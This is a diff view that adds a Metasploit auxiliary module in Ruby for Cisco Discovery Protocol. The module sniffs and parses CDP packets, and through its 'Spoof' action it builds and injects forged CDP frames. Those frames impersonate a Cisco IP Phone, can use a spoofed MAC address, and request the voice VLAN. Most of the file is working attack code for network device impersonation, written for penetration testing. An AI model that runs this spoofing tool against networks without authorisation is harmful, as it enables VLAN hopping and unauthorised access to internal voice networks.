|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Exploit::Capture |
| 13 | + |
| 14 | + def initialize |
| 15 | + super( |
| 16 | + 'Name' => 'CDP Discovery and Spoofing', |
| 17 | + 'Description' => 'This module captures and sends Cisco Discovery Protocol packets for discovery', |
| 18 | + 'Author' => 'Fatih Ozavci <viproy.com/fozavci>', |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'Actions' => |
| 21 | + [ |
| 22 | + [ 'Sniffer' ], |
| 23 | + [ 'Spoof' ] |
| 24 | + ], |
| 25 | + 'PassiveActions' => |
| 26 | + [ |
| 27 | + 'Sniffer' |
| 28 | + ], |
| 29 | + 'DefaultAction' => 'Sniffer' |
| 30 | + ) |
| 31 | + register_options( |
| 32 | + [ |
| 33 | + OptString.new('SMAC', [ false, "MAC Address for MAC Spoofing"]), |
| 34 | + OptString.new('VTPDOMAIN', [ false, "VTP Domain"]), |
| 35 | + OptString.new('DEVICE ID', [ false, "Device ID (e.g. SIP00070EEA3156,SEP00070EEA3156)", "SEP00070EEA3156"]), |
| 36 | + OptString.new('PORT', [ false, "The Switch Port", "1"]), |
| 37 | + OptString.new('CAPABILITIES', [ false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]), |
| 38 | + OptString.new('PLATFORM', [ false, "Platform of the device", "Cisco IP Phone 7975"]), |
| 39 | + OptString.new('SOFTWARE', [ false, "Software of the device", "SCCP75.9-3-1SR2-1S"]), |
| 40 | + OptBool.new('DUPLEX', [false, 'Duplex', true]), |
| 41 | + ], self.class) |
| 42 | + deregister_options('RHOST') |
| 43 | + end |
| 44 | + |
| 45 | + def run |
| 46 | + check_pcaprub_loaded # Check first |
| 47 | + lbl=["CDP Version\t","Device Id\t","IP Address\t", "Switch Port\t", "Capabilities" , "Software\t","Platform\t", nil,"Cluster Management", "VTP Domain Management" ,"Native VLAN\t",nil, nil, nil, nil, "VoIP VLAN Query"] |
| 48 | + print_status("Sniffing traffic.....") |
| 49 | + |
| 50 | + open_pcap |
| 51 | + |
| 52 | + if(action.name == 'Spoof') |
| 53 | + send_spoof |
| 54 | + end |
| 55 | + |
| 56 | + each_packet do |pkt| |
| 57 | + p = PacketFu::Packet.parse(pkt) |
| 58 | + if p.proto != ["Eth", "LLDP"] and p.payload =~ /\x01\x00\f\xCC\xCC\xCC/ |
| 59 | + pay=p.payload |
| 60 | + pos=30 |
| 61 | + cdp=pay[22].getbyte(0) |
| 62 | + report = "CDP Version\t\t: #{cdp}\n" |
| 63 | + if cdp == 2 |
| 64 | + while 1 |
| 65 | + type = pay[pos-4,2].getbyte(1) |
| 66 | + break if pay[pos-2,2].nil? |
| 67 | + l=pay[pos-2,2].unpack('H*')[0].to_i(16) |
| 68 | + case type |
| 69 | + when 1 |
| 70 | + d=pay[pos,l] |
| 71 | + d.chop! if d[-1] == "\n" |
| 72 | + report << " #{lbl[type]} \t: #{d}\n" |
| 73 | + when 2 |
| 74 | + if pay[pos,4].unpack('H*')[0].to_i(16) == 1 |
| 75 | + addr=pay[pos+9,4] |
| 76 | + ip=[] |
| 77 | + 4.times {|i| ip << "#{addr.getbyte(i)}"} |
| 78 | + report << " #{lbl[type]}\t: #{ip.join(".")}\n" |
| 79 | + end |
| 80 | + when 3 |
| 81 | + report << " #{lbl[type]}\t: #{pay[pos,l]}\n" |
| 82 | + when 4 |
| 83 | + c=pay[pos+3,1].getbyte(0) |
| 84 | + c=c.to_s(2) |
| 85 | + cap={} |
| 86 | + caps=["Repeater\t\t","IGMP Capable\t\t","Host\t\t\t","Switch\t\t","Source Route Bridge\t","Transparent Bridge\t","Router\t\t"] |
| 87 | + report << " #{lbl[type]}\t: \n" |
| 88 | + c.length.times {|i| |
| 89 | + if c[-1].to_i == 1 |
| 90 | + report << "\t\t\t #{caps[-1]} : Yes\n" |
| 91 | + else |
| 92 | + report << "\t\t\t #{caps[-1]} : No\n" |
| 93 | + end |
| 94 | + c.chop! |
| 95 | + caps.delete_at(-1) |
| 96 | + } |
| 97 | + caps.each {report << "\t\t\t #{caps[-1]} : No\n"} if caps.length > 0 |
| 98 | + when 5 |
| 99 | + report << " #{lbl[type]}\t: #{pay[pos,l].split("\n").join("\n\t\t\t ")}\n" |
| 100 | + when 8 |
| 101 | + #report << " #{lbl[type]}\t:\n" |
| 102 | + #report << " IP: #{pay[pos+14,4]}\n" |
| 103 | + when 10 |
| 104 | + report << " #{lbl[type]}\t: #{pay[pos,2].unpack('H*')[0].to_i(16)}\n" |
| 105 | + when 15 |
| 106 | + report << " #{lbl[type]}\t: #{pay[pos+1,2].unpack('H*')[0].to_i(16)}\n" |
| 107 | + else |
| 108 | + report << " #{lbl[type]}\t: #{pay[pos,l]}\n" if lbl[type] != nil |
| 109 | + end |
| 110 | + if pos > pay.length |
| 111 | + break |
| 112 | + else |
| 113 | + pos = pos+l |
| 114 | + end |
| 115 | + end |
| 116 | + else |
| 117 | + report << " TTL\t\t\t: #{pay[23].unpack('H*')[0].to_i(16)}" |
| 118 | + end |
| 119 | + print_good("#{report}") |
| 120 | + end |
| 121 | + end |
| 122 | + close_pcap |
| 123 | + print_status("Finished sniffing") |
| 124 | + end |
| 125 | + def send_spoof() |
| 126 | + p=prep_cdp #Preparation of the CDP content |
| 127 | + dst_mac="\x01\x00\f\xCC\xCC\xCC" #CDP multicast |
| 128 | + |
| 129 | + #Source Mac Address Preparation |
| 130 | + @interface = datastore['INTERFACE'] || Pcap.lookupdev |
| 131 | + smac = datastore['SMAC'] || get_mac(@interface) |
| 132 | + raise RuntimeError ,'SMAC should be defined' unless smac |
| 133 | + src_mac=mac_to_bytes(smac) |
| 134 | + |
| 135 | + #Injecting packet to the network |
| 136 | + l=PacketFu::Inject.new(:iface=>@interface) |
| 137 | + cdplength=["%04X" % (p.length+8).to_s].pack('H*') |
| 138 | + l.array_to_wire(:array=>["#{dst_mac}#{src_mac}#{cdplength}"+llc+p]) |
| 139 | + end |
| 140 | + def llc |
| 141 | + llc="\xAA\xAA\x03\x00\x00\f \x00" |
| 142 | + return llc |
| 143 | + end |
| 144 | + def mac_to_bytes(smac) |
| 145 | + return [smac.gsub(":","")].pack('H*') |
| 146 | + end |
| 147 | + def prep_cdp |
| 148 | + #options from the user |
| 149 | + device=datastore['DEVICE ID'] || "SEP00070EEA3156" |
| 150 | + port=datastore['PORT'] || "1" |
| 151 | + capabilities=datastore['CAPABILITIES'] || "Host" |
| 152 | + platform=datastore['PLATFORM'] || "Cisco IP Phone 7975" |
| 153 | + software=datastore['SOFTWARE'] || "SCCP75.9-3-1SR2-1S" |
| 154 | + vtpdomain=datastore['VTPDOMAIN'] if datastore['VTPDOMAIN'] |
| 155 | + if datastore['DUPLEX'] |
| 156 | + dup=1 |
| 157 | + else |
| 158 | + dup=0 |
| 159 | + end |
| 160 | + |
| 161 | + #CAPABILITIES |
| 162 | + #define CDP_CAP_LEVEL1 0x40 |
| 163 | + #define CDP_CAP_FORWARD_IGMP 0x20 |
| 164 | + #define CDP_CAP_NETWORK_LAYER 0x10 |
| 165 | + #define CDP_CAP_LEVEL2_SWITCH 0x08 |
| 166 | + #define CDP_CAP_LEVEL2_SRB 0x04 |
| 167 | + #define CDP_CAP_LEVEL2_TRBR 0x02 |
| 168 | + #define CDP_CAP_LEVEL3_ROUTER 0x01 |
| 169 | + |
| 170 | + #Package Preperation |
| 171 | + p = "\x00\x01#{l(device)}#{device}" # Device ID |
| 172 | + p << "\x00\x03#{l("Port #{port}")}Port #{port}" # Port ID |
| 173 | + p << "\x00\x04\x00\b\x00\x00\x00A" # Capabilities |
| 174 | + p << "\x00\x05#{l(software)}#{software}" # Software Version |
| 175 | + p << "\x00\x06#{l(platform)}#{platform}" # Platform |
| 176 | + p << "\x00\x09#{l(vtpdomain)}#{vtpdomain}" if vtpdomain # VTP Domain Management |
| 177 | + p << "\x00\x10\x00\x06\x18\x9C" # Power Consumption 6300 mW |
| 178 | + p << "\x00\v\x00\x05#{dup}" # Duplex |
| 179 | + p << "\x00\x0F\x00\b \x02\x00\x01" # VLAN Query |
| 180 | + |
| 181 | + #Header Preperation |
| 182 | + version = "\x02" # CDP version |
| 183 | + ttl = "\xB4" # TTL (180 seconds) |
| 184 | + checksum = cdpchecksum(version+ttl+"\x00\x00"+p) # CDP Checksum |
| 185 | + |
| 186 | + p=version+ttl+checksum+p # CDP Payload |
| 187 | + |
| 188 | + return p |
| 189 | + end |
| 190 | + |
| 191 | + def l(s,n=2) |
| 192 | + l=s.length+4 |
| 193 | + l="%0#{n*2}X" % l |
| 194 | + b=[l].pack('H*') |
| 195 | + return b |
| 196 | + end |
| 197 | + |
| 198 | + def cdpchecksum(p) |
| 199 | + num_shorts = p.length / 2 |
| 200 | + cs = 0 |
| 201 | + c = p.length |
| 202 | + |
| 203 | + p.unpack("S#{num_shorts}").each { |x| |
| 204 | + cs += x |
| 205 | + c -= 2 |
| 206 | + } |
| 207 | + |
| 208 | + if (c == 1) |
| 209 | + cs += p[p.length - 1].getbyte(0) << 8 |
| 210 | + end |
| 211 | + |
| 212 | + cs = (cs >> 16) + (cs & 0xffff) |
| 213 | + cs = ~((cs >> 16) + cs) & 0xffff |
| 214 | + cs = ([cs].pack("S*")).unpack("n*")[0] |
| 215 | + |
| 216 | + cs = [ "%02X" % cs ].pack('H*') |
| 217 | + return cs |
| 218 | + end |
| 219 | +end |
0 commit comments